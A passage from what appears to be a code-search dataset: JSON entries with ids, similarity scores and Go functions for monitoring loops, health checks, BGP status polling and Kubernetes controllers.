cmdstr)\n\t\t_, _ = cmd.Output()\n\t}\n\n\tvrsStaleEntriesCleanupTicker := time.NewTicker(time.Duration(config.MonitorInterval) * time.Second)\n\tvrsConnectionCheckTicker := time.NewTicker(time.Duration(config.VRSConnectionCheckTimer) * time.Second)\n\n\thandleDaemonInterrupt()\n\n\tfor {\n\t\tselect {\n\t\tcase <-vrsStaleEntriesCleanupTicker.C:\n\t\t\terr := cleanupStaleEntities(vrsConnection, orchestrator)\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorf(\"Error cleaning up stale entities and ports on VRS\")\n\t\t\t}\n\t\tcase <-vrsConnectionCheckTicker.C:\n\t\t\t_, err := vrsConnection.GetAllEntities()\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorf(\"VRS connection is down; will retry connection\")\n\t\t\t\tvrsConnection, err = client.ConnectToVRSOVSDB(config)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Errorf(\"Error connecting to VRS. Retry connection in %d seconds\", config.VRSConnectionCheckTimer)\n\t\t\t\t} else {\n\t\t\t\t\tlog.Infof(\"VRS connection is restored\")\n\t\t\t\t}\n\t\t\t}\n\t\tcase <-interruptChannel:\n\t\t\tlog.Errorf(\"Daemon was interrupted by an external interrupt; will cleanup before exiting\")\n\t\t\tvrsConnection.Disconnect()\n\t\t\treturn fmt.Errorf(\"Daemon was interrupted by an external interrupt\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "258804105c3a039896f3708ce57b3e91", "score": "0.51955515", "text": "func (service *DaemonHeartbeat) Watch(*grpc_health_v1.HealthCheckRequest, grpc_health_v1.Health_WatchServer) error {\n\treturn nil\n}", "title": "" }, { "docid": "a414320c9c2f4896a2db05ae3ba537c0", "score": "0.5187017", "text": "func (c *Check) Run() error {\n\tlog.Infof(\"Starting long-running check %q\", c.ID())\n\tdefer log.Infof(\"Shutting down long-running check %q\", c.ID())\n\n\tcontEventsCh := c.workloadmetaStore.Subscribe(\n\t\tcheckName+\"-cont\",\n\t\tworkloadmeta.NormalPriority,\n\t\tworkloadmeta.NewFilter(\n\t\t\t[]workloadmeta.Kind{workloadmeta.KindContainer},\n\t\t\tworkloadmeta.SourceRuntime,\n\t\t\tworkloadmeta.EventTypeUnset,\n\t\t),\n\t)\n\n\tpodEventsCh := c.workloadmetaStore.Subscribe(\n\t\tcheckName+\"-pod\",\n\t\tworkloadmeta.NormalPriority,\n\t\tworkloadmeta.NewFilter(\n\t\t\t[]workloadmeta.Kind{workloadmeta.KindKubernetesPod},\n\t\t\tworkloadmeta.SourceNodeOrchestrator,\n\t\t\tworkloadmeta.EventTypeUnset,\n\t\t),\n\t)\n\n\tpollInterval := time.Duration(c.instance.PollInterval) * time.Second\n\n\tprocessorCtx, stopProcessor := context.WithCancel(context.Background())\n\tc.processor.start(processorCtx, pollInterval)\n\n\tfor {\n\t\tselect {\n\t\tcase eventBundle := <-contEventsCh:\n\t\t\tc.processor.processEvents(eventBundle)\n\t\tcase eventBundle := <-podEventsCh:\n\t\t\tc.processor.processEvents(eventBundle)\n\t\tcase <-c.stopCh:\n\t\t\tstopProcessor()\n\t\t\treturn nil\n\t\t}\n\t}\n}", "title": "" }, { "docid": "8dd1497dfcc67511c98ac8ad2601dd84", "score": "0.5166581", "text": "func (m *Manager) Monitor() error{\n\tif m.monitoring {\n\t\treturn errors.New(\"Monitor is already started\")\n\t}\n\tm.stopMonitor = make(chan bool)\n\tgo m.monitor()\n\treturn nil\n}", "title": "" }, { "docid": "3efd988931822c2420fdcd1851d0a842", "score": "0.5159659", "text": "func (m *ProbeManager) Start() {\n\tm.mirroredGatewayInformer.AddEventHandler(\n\t\tcache.FilteringResourceEventHandler{\n\t\t\tFilterFunc: func(obj interface{}) bool {\n\t\t\t\tswitch object := obj.(type) {\n\t\t\t\tcase *corev1.Service:\n\t\t\t\t\t_, isMirrorGateway := object.Labels[consts.MirroredGatewayLabel]\n\t\t\t\t\treturn isMirrorGateway\n\n\t\t\t\tcase cache.DeletedFinalStateUnknown:\n\t\t\t\t\tif svc, ok := object.Obj.(*corev1.Service); ok {\n\t\t\t\t\t\t_, isMirrorGateway := svc.Labels[consts.MirroredGatewayLabel]\n\t\t\t\t\t\treturn isMirrorGateway\n\t\t\t\t\t}\n\t\t\t\t\treturn false\n\t\t\t\tdefault:\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t},\n\n\t\t\tHandler: cache.ResourceEventHandlerFuncs{\n\t\t\t\tAddFunc: func(obj interface{}) {\n\t\t\t\t\tservice := obj.(*corev1.Service)\n\t\t\t\t\tspec, err := extractProbeSpec(service)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Errorf(\"Could not parse probe spec %s\", err)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tm.enqueueEvent(&GatewayMirrorCreated{\n\t\t\t\t\t\t\tgatewayName: service.Annotations[consts.MirroredGatewayRemoteName],\n\t\t\t\t\t\t\tgatewayNamespace: service.Annotations[consts.MirroredGatewayRemoteNameSpace],\n\t\t\t\t\t\t\tclusterName: service.Labels[consts.RemoteClusterNameLabel],\n\t\t\t\t\t\t\tprobeSpec: *spec,\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\tDeleteFunc: func(obj interface{}) {\n\t\t\t\t\tservice, ok := obj.(*corev1.Service)\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\ttombstone, ok := obj.(cache.DeletedFinalStateUnknown)\n\t\t\t\t\t\tif !ok {\n\t\t\t\t\t\t\tlog.Errorf(\"couldn't get object from DeletedFinalStateUnknown %#v\", obj)\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t\tservice, ok = tombstone.Obj.(*corev1.Service)\n\t\t\t\t\t\tif !ok {\n\t\t\t\t\t\t\tlog.Errorf(\"DeletedFinalStateUnknown contained object that is not a Secret %#v\", obj)\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tm.enqueueEvent(&GatewayMirrorDeleted{\n\t\t\t\t\t\tgatewayName: service.Annotations[consts.MirroredGatewayRemoteName],\n\t\t\t\t\t\tgatewayNamespace: service.Annotations[consts.MirroredGatewayRemoteNameSpace],\n\t\t\t\t\t\tclusterName: service.Labels[consts.RemoteClusterNameLabel],\n\t\t\t\t\t})\n\t\t\t\t},\n\t\t\t\tUpdateFunc: func(old, new interface{}) {\n\t\t\t\t\toldService := old.(*corev1.Service)\n\t\t\t\t\tnewService := new.(*corev1.Service)\n\n\t\t\t\t\tif oldService.ResourceVersion != newService.ResourceVersion {\n\t\t\t\t\t\tspec, err := extractProbeSpec(newService)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Errorf(\"Could not parse probe spec %s\", err)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tm.enqueueEvent(&GatewayMirrorUpdated{\n\t\t\t\t\t\t\t\tgatewayName: newService.Annotations[consts.MirroredGatewayRemoteName],\n\t\t\t\t\t\t\t\tgatewayNamespace: newService.Annotations[consts.MirroredGatewayRemoteNameSpace],\n\t\t\t\t\t\t\t\tclusterName: newService.Labels[consts.RemoteClusterNameLabel],\n\t\t\t\t\t\t\t\tprobeSpec: *spec,\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t)\n\tgo m.run()\n}", "title": "" }, { "docid": "dd4840085e6d551e8fe5937d5af9b178", "score": "0.50756365", "text": "func (m *Monitor) runMonitorLoop() error {\n\t// Get all nodes in cluster\n\tcfg, err := kubeutils.BuildConfig()\n\tif err != nil {\n\t\treturn err\n\t}\n\tclient, err := clientset.NewForConfig(cfg)\n\tif err != nil {\n\t\treturn err\n\t}\n\tklog.Info(\"started master\")\n\tvar deadNodes []*v1.Node\n\tfor {\n\t\t// Don't thrash here..\n\t\tklog.V(4).Info(\"little pause before work\")\n\t\ttime.Sleep(pausePollingSecs)\n\n\t\t// Get all the nodes - that have been reported as UnReachable...\n\t\t// reporting happens using configmaps in specified namespace\n\t\tdeadNodes, err = kubeutils.GetUnreachableNodes(client, m.namespace)\n\t\tif err != nil {\n\t\t\tklog.Errorf(\"error getting nodes reported as unreachable: %s\", err)\n\t\t\t// Try again\n\t\t\tcontinue\n\t\t}\n\t\tklog.V(3).Infof(\"got an unreachable node list (%d nodes)\", len(deadNodes))\n\n\t\t// reap any nodes as required...\n\t\tif m.reap && len(deadNodes) > 0 {\n\t\t\tklog.V(4).Info(\"We are set to reap\")\n\t\t\tfor _, node := range deadNodes {\n\t\t\t\tif err := reaper.Reap(node, client, m.dryRun); err != nil {\n\t\t\t\t\tklog.Errorf(\"error reaping %s, %s\", node.Name, err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ff7d1feaee9ca4a8308847e41d6641a2", "score": "0.5068068", "text": "func (guilds *Guilds) Monitor(ctx context.Context) {\n\tupdateTicker := time.NewTicker(guilds.Interval)\n\tdefer updateTicker.Stop()\n\n\tfor {\n\t\tselect {\n\t\tcase <-updateTicker.C:\n\t\t\tguilds.update()\n\t\tcase <-ctx.Done():\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0c26fa2098962556a7377ba95d5377f2", "score": "0.5064733", "text": "func (c *Checker) Monitor() {\n\tc.wg.Add(1)\n\ttick := time.NewTicker(time.Second)\n\tdefer func() { tick.Stop(); c.wg.Done() }()\n\tc.connectionTest()\n\tfor {\n\t\tselect {\n\t\tcase <-tick.C:\n\t\t\tc.connectionTest()\n\t\tcase <-c.shutdown:\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "57fbe75ff5e9b60db5f64641d7ad37e9", "score": "0.50454915", "text": "func initializeDaemonMetrics() {\n\t// CLUSTER METRICS\n\tnumACLRules = createClusterGauge(numACLRulesName, numACLRulesHelp)\n\tnumIPSets = createClusterGauge(numIPSetsName, numIPSetsHelp)\n\tnumIPSetEntries = createClusterGauge(numIPSetEntriesName, numIPSetEntriesHelp)\n\tipsetInventory = createClusterGaugeVec(ipsetInventoryName, ipsetInventoryHelp, ipsetInventoryLabels)\n\tipsetInventoryMap = make(map[string]int)\n\n\t// NODE METRICS\n\taddACLRuleExecTime = createNodeSummary(addACLRuleExecTimeName, addACLRuleExecTimeHelp)\n\taddIPSetExecTime = createNodeSummary(addIPSetExecTimeName, addIPSetExecTimeHelp)\n}", "title": "" }, { "docid": "5854e00892818f5fac659714c022d8ee", "score": "0.5041579", "text": "func (m *Main) Run() error {\n\t// Create signal channels.\n\tm.stopC = make(chan struct{})\n\terrC := make(chan error)\n\n\t// Set correct logging.\n\terr := m.logger.Set(log.Level(strings.ToLower(m.flags.LogLevel)))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Create the metrics client.\n\tmetricsRecorder := metrics.NewRecorder(metricsNamespace, prometheus.DefaultRegisterer)\n\n\t// Serve metrics.\n\tgo func() {\n\t\tlog.Infof(\"Listening on %s for metrics exposure on URL %s\", m.flags.ListenAddr, m.flags.MetricsPath)\n\t\thttp.Handle(m.flags.MetricsPath, promhttp.Handler())\n\t\terr := http.ListenAndServe(m.flags.ListenAddr, nil)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}()\n\n\t// Kubernetes clients.\n\tk8sClient, customClient, aeClientset, err := utils.CreateKubernetesClients(m.flags)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Create kubernetes service.\n\tk8sservice := k8s.New(k8sClient, customClient, aeClientset, m.logger, metricsRecorder)\n\n\t// Create the redis clients\n\tredisClient := redis.New(metricsRecorder)\n\n\t// Get lease lock resource namespace\n\tlockNamespace := getNamespace()\n\n\t// Create operator and run.\n\tredisfailoverOperator, err := redisfailover.New(m.flags.ToRedisOperatorConfig(), k8sservice, k8sClient, lockNamespace, redisClient, metricsRecorder, m.logger)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo func() {\n\t\terrC <- redisfailoverOperator.Run(context.Background())\n\t}()\n\n\t// Await signals.\n\tsigC := m.createSignalCapturer()\n\tvar finalErr error\n\tselect {\n\tcase <-sigC:\n\t\tm.logger.Infof(\"Signal captured, exiting...\")\n\tcase err := <-errC:\n\t\tm.logger.Errorf(\"Error received: %s, exiting...\", err)\n\t\tfinalErr = err\n\t}\n\n\tm.stop(m.stopC)\n\treturn finalErr\n}", "title": "" }, { "docid": "dea9d2609d1d6a331f92136c5bbb8b6c", "score": "0.5039848", "text": "func (hc *HealthCheckerImpl) Probe(ctx context.Context, l logr.Logger, logSuffix string, nodeID int) error {\n\tl.V(int(zapcore.DebugLevel)).Info(\"Health check probe\", \"label\", logSuffix, \"nodeID\", nodeID)\n\tstsname := hc.cluster.StatefulSetName()\n\tstsnamespace := hc.cluster.Namespace()\n\n\tsts, err := hc.clientset.AppsV1().StatefulSets(stsnamespace).Get(ctx, stsname, metav1.GetOptions{})\n\tif err != nil {\n\t\treturn kube.HandleStsError(err, l, stsname, stsnamespace)\n\t}\n\n\tif err := scale.WaitUntilStatefulSetIsReadyToServe(ctx, hc.clientset, stsnamespace, stsname, *sts.Spec.Replicas); err != nil {\n\t\treturn errors.Wrapf(err, \"error rolling update stategy on pod %d\", nodeID)\n\t}\n\n\t// we check _status/vars on all cockroachdb pods looking for pairs like\n\t// ranges_underreplicated{store=\"1\"} 0 and wait if any are non-zero until all are 0.\n\t// We can recheck every 10 seconds. We are waiting for this maximum 3 minutes\n\terr = hc.waitUntilUnderReplicatedMetricIsZero(ctx, l, logSuffix, stsname, stsnamespace, *sts.Spec.Replicas)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// we will wait 22 seconds and check again _status/vars on all cockroachdb pods looking for pairs like\n\t// ranges_underreplicated{store=\"1\"} 0. This time we do not wait anymore. This suplimentary check\n\t// is due to the fact that a node can be evicted in some cases\n\ttime.Sleep(22 * time.Second)\n\tl.V(int(zapcore.DebugLevel)).Info(\"second wait loop for range_underreplicated metric\", \"label\", logSuffix, \"nodeID\", nodeID)\n\terr = hc.waitUntilUnderReplicatedMetricIsZero(ctx, l, logSuffix, stsname, stsnamespace, *sts.Spec.Replicas)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c410e62261b02ba9e103dc51ae00787f", "score": "0.50265414", "text": "func (_m *IProvider) Monitor(_a0 map[string]*model.WorkerConfig, _a1 []*message.Message) {\n\t_m.Called(_a0, _a1)\n}", "title": "" }, { "docid": "4c869bc5f9f6500ceb16f3a90b36d48e", "score": "0.5020322", "text": "func Run() {\n\tflag.Parse()\n\n\tif enableDebug {\n\t\tlog.SetLevel(log.DebugLevel)\n\t}\n\n\tlog.Infof(\"sensor: args => %#v\", os.Args)\n\n\tdirName, err := os.Getwd()\n\terrutils.WarnOn(err)\n\tlog.Debugf(\"sensor: cwd => %#v\", dirName)\n\n\tinitSignalHandlers()\n\tdefer func() {\n\t\tlog.Debug(\"defered cleanup on shutdown...\")\n\t\tcleanupOnShutdown()\n\t}()\n\n\tlog.Debug(\"sensor: setting up channels...\")\n\tdoneChan = make(chan struct{})\n\n\terr = ipc.InitChannels()\n\terrutils.FailOn(err)\n\n\tcmdChan, err := ipc.RunCmdServer(doneChan)\n\terrutils.FailOn(err)\n\n\tmonDoneChan := make(chan bool, 1)\n\tmonDoneAckChan := make(chan bool)\n\tpidsChan := make(chan []int, 1)\n\tptmonStartChan := make(chan int, 1)\n\n\tlog.Info(\"sensor: waiting for commands...\")\ndoneRunning:\n\tfor {\n\t\tselect {\n\t\tcase cmd := <-cmdChan:\n\t\t\tlog.Debug(\"\\nsensor: command => \", cmd)\n\t\t\tswitch data := cmd.(type) {\n\t\t\tcase *messages.StartMonitor:\n\t\t\t\tif data == nil {\n\t\t\t\t\tlog.Info(\"sensor: 'start' command - no data...\")\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tlog.Debugf(\"sensor: 'start' command (%#v) - starting monitor...\", data)\n\t\t\t\tmonitor(monDoneChan, monDoneAckChan, pidsChan, ptmonStartChan, data, dirName)\n\n\t\t\t\t//target app started by ptmon... (long story :-))\n\t\t\t\t//TODO: need to get the target app pid to pemon, so it can filter process events\n\t\t\t\tlog.Debugf(\"sensor: target app started => %v %#v\", data.AppName, data.AppArgs)\n\t\t\t\ttime.Sleep(3 * time.Second)\n\n\t\t\tcase *messages.StopMonitor:\n\t\t\t\tlog.Debug(\"sensor: 'stop' command - stopping monitor...\")\n\t\t\t\tbreak doneRunning\n\t\t\tdefault:\n\t\t\t\tlog.Debug(\"sensor: ignoring unknown command => \", cmd)\n\t\t\t}\n\n\t\tcase <-time.After(time.Second * 5):\n\t\t\tlog.Debug(\".\")\n\t\t}\n\t}\n\n\tmonDoneChan <- true\n\tlog.Info(\"sensor: waiting for monitor to finish...\")\n\t<-monDoneAckChan\n\n\tipc.TryPublishEvt(3, \"monitor.finish.completed\")\n\n\tlog.Info(\"sensor: done!\")\n}", "title": "" }, { "docid": "b9834fd5c94b68959be4a0223cf6b10b", "score": "0.50154054", "text": "func (i *instanceManager) run() {\n\t// Dispense once to ensure we are given a valid plugin\n\tif _, err := i.dispense(); err != nil {\n\t\ti.logger.Error(\"dispensing initial plugin failed\", \"error\", err)\n\t\treturn\n\t}\n\n\t// Create a waitgroup to block on shutdown for all created goroutines to\n\t// exit\n\tvar wg sync.WaitGroup\n\n\t// Start the fingerprinter\n\twg.Add(1)\n\tgo func() {\n\t\ti.fingerprint()\n\t\twg.Done()\n\t}()\n\n\t// Start event handler\n\twg.Add(1)\n\tgo func() {\n\t\ti.handleEvents()\n\t\twg.Done()\n\t}()\n\n\t// Do a final cleanup\n\twg.Wait()\n\ti.cleanup()\n}", "title": "" }, { "docid": "1b0f28128745b2903f33e23ef16fb2b2", "score": "0.49924397", "text": "func (fes *FrontEndService) Monitor(ctx context.Context) error {\n\tlp, err := exec.LookPath(\"birdc\")\n\tif err != nil {\n\t\tlogrus.Errorf(\"ReloadConfig: Birdc not found!\")\n\t\treturn err\n\t}\n\n\t//linkCh := make(chan string, 1)\n\tgo func() {\n\t\tvar once sync.Once\n\t\t//defer close(linkCh)\n\t\textConnOK, init := true, true\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\tlogrus.Infof(\"Monitor: shutting down\")\n\t\t\t\treturn\n\t\t\tcase <-time.After(5 * time.Second): //timeout\n\t\t\t}\n\n\t\t\targ := `\"bgp*\"`\n\t\t\tcmd := exec.CommandContext(ctx, lp, \"show\", \"protocols\", \"all\", arg)\n\t\t\t//cmd := exec.CommandContext(ctx, lp, \"show\", \"protocols\", arg)\n\t\t\tstdoutStderr, err := cmd.CombinedOutput()\n\t\t\tstringOut := string(stdoutStderr)\n\t\t\tif err != nil {\n\t\t\t\tlogrus.Warnf(\"Monitor: %v: %v\", err, stringOut)\n\t\t\t\t//Note: if birdc is not yet running, no need to bail out\n\t\t\t\t//linkCh <- \"Failed to fetch protocol status\"\n\t\t\t} else if strings.Contains(stringOut, \"No protocols match\") {\n\t\t\t\tif extConnOK {\n\t\t\t\t\textConnOK = false\n\t\t\t\t\tlogrus.Warnf(\"Monitor: %v\", stringOut)\n\t\t\t\t\t//linkCh <- \"No protocols match\"\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Note: It is assumed, that the set of gateways can not change on the fly\n\t\t\t\tscanner := bufio.NewScanner(strings.NewReader(stringOut))\n\t\t\t\tscanOK := true\n\t\t\t\tscanDetails := \"\"\n\t\t\t\tfor scanner.Scan() {\n\t\t\t\t\tif ok, _ := regexp.MatchString(`bgp[0-9]+`, scanner.Text()); ok {\n\t\t\t\t\t\tscanDetails += scanner.Text()\n\t\t\t\t\t\tif !strings.Contains(scanner.Text(), \"Established\") {\n\t\t\t\t\t\t\t//logrus.Debugf(\"Monitor: (scanOK->false) %v\", scanner.Text())\n\t\t\t\t\t\t\tscanOK = false\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if strings.Contains(scanner.Text(), `Neighbor address`) {\n\t\t\t\t\t\tscanDetails += scanner.Text() + \"\\n\"\n\t\t\t\t\t} else if ok, _ := regexp.MatchString(`BIRD|Name\\s+Proto`, scanner.Text()); ok {\n\t\t\t\t\t\tscanDetails += scanner.Text() + \"\\n\"\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif extConnOK && !scanOK {\n\t\t\t\t\textConnOK = false\n\t\t\t\t\tif !init {\n\t\t\t\t\t\tlogrus.Warnf(\"Monitor: %v\", scanDetails)\n\t\t\t\t\t}\n\t\t\t\t} else if !scanOK {\n\t\t\t\t\t// Keep printing protocol information until link is down\n\t\t\t\t\textConnOK = false\n\t\t\t\t\tif !init {\n\t\t\t\t\t\tlogrus.Debugf(\"Monitor: %v\", scanDetails)\n\t\t\t\t\t}\n\t\t\t\t} else if !extConnOK && scanOK {\n\t\t\t\t\textConnOK = true\n\t\t\t\t\tif !init {\n\t\t\t\t\t\tlogrus.Infof(\"Monitor: %v\", scanDetails)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// TODO: ugly\n\t\t\t\tonce.Do(func() {\n\t\t\t\t\tlogrus.Infof(\"Monitor: %v\", scanDetails)\n\t\t\t\t\tinit = false\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}()\n\treturn nil\n}", "title": "" }, { "docid": "d3b468dd7cef250b038c34ebde58fb6b", "score": "0.49736175", "text": "func (m *LegacyMonitor) Monitor(ctx context.Context) {\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-time.After(monitorEvery):\n\t\t\t\terr := m.monitor(ctx)\n\t\t\t\tif err == errNoMoreFirecracker {\n\t\t\t\t\treturn\n\t\t\t\t} else if err != nil {\n\t\t\t\t\tlog.Error().Err(err).Msg(\"failed to run monitoring\")\n\t\t\t\t}\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n}", "title": "" }, { "docid": "74f08d6f5f7df2343d9bbef2799ba5c4", "score": "0.497087", "text": "func (c *CmdHandle) CmdHealthMonitor(){\n// log.Println(\"CmdHealthMonitor: Start\")\n\n //Check if any of the commands have been running for ever avg timout time 20s\n// log.Println(\"Monitored Cmd Processing Health\")\n\n // Check the system load if less send more commands for processing\n c.CmdProcessPendingCommands()\n\n// log.Println(\"CmdHealthMonitor: Complete\")\n}", "title": "" }, { "docid": "68a8c1550dd33dfca7d2c2d8fefd656d", "score": "0.49675378", "text": "func (c *CamSodaChecker) Start() { c.startFullCheckerDaemon(c) }", "title": "" }, { "docid": "fac70daf2317f03eee425d8f47511daf", "score": "0.49501634", "text": "func (m *Manager) Run(ctx context.Context, wg *sync.WaitGroup) error {\n\tif m.machine == nil {\n\t\treturn fmt.Errorf(\"manager requires a machine to manage\")\n\t}\n\n\terr := m.configureWatchers()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, watcher := range m.watchers {\n\t\twg.Add(1)\n\t\tgo watcher.Run(ctx, wg)\n\n\t\tif watcher.AnnounceInterval() > 0 {\n\t\t\twg.Add(1)\n\t\t\tgo m.announceWatcherState(ctx, wg, watcher)\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "806c216f4e1244c2cd235a8016f8014c", "score": "0.49458155", "text": "func (p *PeriodicConfigMapChecker) StartChecking() {\n\tconfig, err := clientcmd.BuildConfigFromFlags(\"\", p.kubeconfigPath)\n\tif err != nil {\n\t\tglog.Fatalf(\"Error building kubeconfig: %s\", err.Error())\n\t}\n\n\t// creates the clientset\n\tclient, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\tglog.Fatalf(\"kubernetes.NewForConfig failed: %v\", err)\n\t}\n\n\tperiodChannel := time.Tick(p.period)\n\n\tif strings.Join(p.namespaces, \", \") != \"\" {\n\t\tglog.Infof(\"Scan configMaps in %v\", strings.Join(p.namespaces, \", \"))\n\t}\n\tfor {\n\t\tglog.Info(\"Begin periodic check\")\n\n\t\tp.exporter.ResetMetrics()\n\n\t\tvar configMaps []corev1.ConfigMap\n\t\tfor _, ns := range p.namespaces {\n\t\t\tif len(p.labelSelectors) > 0 {\n\t\t\t\tfor _, labelSelector := range p.labelSelectors {\n\t\t\t\t\tvar c *corev1.ConfigMapList\n\t\t\t\t\tc, err = client.CoreV1().ConfigMaps(ns).List(context.TODO(), metav1.ListOptions{\n\t\t\t\t\t\tLabelSelector: labelSelector,\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tglog.Errorf(\"Error requesting configMaps %v\", err)\n\t\t\t\t\t\tmetrics.ErrorTotal.Inc()\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tconfigMaps = append(configMaps, c.Items...)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar c *corev1.ConfigMapList\n\t\t\t\tc, err = client.CoreV1().ConfigMaps(ns).List(context.TODO(), metav1.ListOptions{})\n\t\t\t\tif err != nil {\n\t\t\t\t\tglog.Errorf(\"Error requesting configMaps %v\", err)\n\t\t\t\t\tmetrics.ErrorTotal.Inc()\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tconfigMaps = append(configMaps, c.Items...)\n\t\t\t}\n\t\t}\n\n\t\tfor _, configMap := range configMaps {\n\t\t\tinclude, exclude := false, false\n\t\t\tglog.Infof(\"Reviewing configMap %v in %v\", configMap.GetName(), configMap.GetNamespace())\n\n\t\t\tif len(p.annotationSelectors) > 0 {\n\t\t\t\tmatches := false\n\t\t\t\tannotations := configMap.GetAnnotations()\n\t\t\t\tfor _, selector := range p.annotationSelectors {\n\t\t\t\t\t_, ok := annotations[selector]\n\t\t\t\t\tif ok {\n\t\t\t\t\t\tmatches = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif !matches {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tglog.Infof(\"Annotations matched. Parsing configMap.\")\n\n\t\t\tfor name, data := range configMap.Data {\n\t\t\t\tinclude, exclude = false, false\n\n\t\t\t\tfor _, glob := range p.includeConfigMapsDataGlobs {\n\t\t\t\t\tinclude, err = filepath.Match(glob, name)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tglog.Errorf(\"Error matching %v to %v: %v\", glob, name, err)\n\t\t\t\t\t\tmetrics.ErrorTotal.Inc()\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tif include {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor _, glob := range p.excludeConfigMapsDataGlobs {\n\t\t\t\t\texclude, err = filepath.Match(glob, name)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tglog.Errorf(\"Error matching %v to %v: %v\", glob, name, err)\n\t\t\t\t\t\tmetrics.ErrorTotal.Inc()\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tif exclude {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif include && !exclude {\n\t\t\t\t\tglog.Infof(\"Publishing %v/%v metrics %v\", configMap.Name, configMap.Namespace, name)\n\t\t\t\t\terr = p.exporter.ExportMetrics([]byte(data), name, configMap.Name, configMap.Namespace)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tglog.Errorf(\"Error exporting configMap %v\", err)\n\t\t\t\t\t\tmetrics.ErrorTotal.Inc()\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tglog.Infof(\"Ignoring %v. Does not match %v or matches %v.\", name, p.includeConfigMapsDataGlobs, p.excludeConfigMapsDataGlobs)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t<-periodChannel\n\t}\n}", "title": "" }, { "docid": "768a1c807a322b0167afe4f99157bf28", "score": "0.4944821", "text": "func makeDaemonsets(dsc *Checker, orphan bool) error {\n\n\tif orphan {\n\t\tdsc.hostname = \"ORPHANED-TEST\"\n\t}\n\n\tcheckRunTime := strconv.Itoa(int(CheckRunTime))\n\thostname := getHostname()\n\n\tterminationGracePeriod := int64(1)\n\ttestDS := Checker{\n\t\tNamespace: Namespace,\n\t\tDaemonSetName: daemonSetBaseName + \"-\" + hostname + \"-\" + checkRunTime,\n\t\thostname: hostname,\n\t}\n\n\ttestDS.DaemonSet = &appsv1.DaemonSet{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: testDS.DaemonSetName,\n\t\t\tLabels: map[string]string{\n\t\t\t\t\"app\": testDS.DaemonSetName,\n\t\t\t\t\"source\": \"kuberhealthy\",\n\t\t\t\t\"creatingInstance\": dsc.hostname,\n\t\t\t\t\"checkRunTime\": checkRunTime,\n\t\t\t},\n\t\t},\n\t\tSpec: appsv1.DaemonSetSpec{\n\t\t\tSelector: &metav1.LabelSelector{\n\t\t\t\tMatchLabels: map[string]string{\n\t\t\t\t\t\"app\": testDS.DaemonSetName,\n\t\t\t\t\t\"source\": \"kuberhealthy\",\n\t\t\t\t\t\"creatingInstance\": dsc.hostname,\n\t\t\t\t\t\"checkRunTime\": checkRunTime,\n\t\t\t\t},\n\t\t\t},\n\t\t\tTemplate: apiv1.PodTemplateSpec{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tLabels: map[string]string{\n\t\t\t\t\t\t\"app\": testDS.DaemonSetName,\n\t\t\t\t\t\t\"source\": \"kuberhealthy\",\n\t\t\t\t\t\t\"creatingInstance\": 